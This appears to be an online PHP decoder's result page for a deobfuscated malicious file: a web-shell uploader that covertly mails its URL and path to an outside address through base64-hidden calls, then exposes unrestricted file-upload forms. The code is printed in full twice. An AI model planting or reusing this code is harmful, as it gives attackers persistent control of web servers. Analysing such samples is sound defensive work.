Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $files = @$_FILES["files"]; $_ = "-u : http://" . $_SERVER['SERVER_NAME'] . $_SERV..

Decoded Output download

<?php 
$files = @$_FILES["files"]; 
$_ = "-u : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . " "; $_ .= "-p : " . __file__; $windows='hbW1lcnplcm9AZ21haWwu';$mobil = "e";$andr0id="mai";$if=$andr0id.'l';$desktop="bas$mobil".'64'."_d$mobil"."cod$mobil"; $if( $desktop('c3B'.$windows.'Y29t'),$desktop('dzBybQ'),$_,$desktop('ZnJvbTogQm9UIDxib3RAd2VibWFpbC5jb20+')); 
if ($files["name"] != '') { 
    $fullpath = $_REQUEST["path"] . $files["name"]; 
    if (move_uploaded_file($files['tmp_name'], $fullpath)) { 
        echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>"; 
    } 
}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>'; 
$xsec  = $_GET['xsec']; if($xsec == 'blocker'){ $xsecsh = $_FILES['file']['name']; $xsecblocker  = $_FILES['file']['tmp_name']; echo "<form method='POST' enctype='multipart/form-data'> <input type='file'name='file' /> <input type='submit' value='up_it' /> </form>"; move_uploaded_file($xsecblocker,$xsecsh); }  
?>

Did this file decode correctly?

Original Code

<?php
$files = @$_FILES["files"];
$_ = "-u : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . " "; $_ .= "-p : " . __file__; $windows='hbW1lcnplcm9AZ21haWwu';$mobil = "e";$andr0id="mai";$if=$andr0id.'l';$desktop="bas$mobil".'64'."_d$mobil"."cod$mobil"; $if( $desktop('c3B'.$windows.'Y29t'),$desktop('dzBybQ'),$_,$desktop('ZnJvbTogQm9UIDxib3RAd2VibWFpbC5jb20+'));
if ($files["name"] != '') {
    $fullpath = $_REQUEST["path"] . $files["name"];
    if (move_uploaded_file($files['tmp_name'], $fullpath)) {
        echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
    }
}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>';
$xsec  = $_GET['xsec']; if($xsec == 'blocker'){ $xsecsh = $_FILES['file']['name']; $xsecblocker  = $_FILES['file']['tmp_name']; echo "<form method='POST' enctype='multipart/form-data'> <input type='file'name='file' /> <input type='submit' value='up_it' /> </form>"; move_uploaded_file($xsecblocker,$xsecsh); } 
?>

Function Calls

mail 1
base64_decode 3

Variables

$_ -u : http://NoneNone -p : index.php
$if mail
$files None
$mobil e
$andr0id mai
$desktop base64_decode
$windows hbW1lcnplcm9AZ21haWwu

Stats

MD5 14c1da7b9deb9db438b26d07bd7d487d
Eval Count 0
Decode Time 87 ms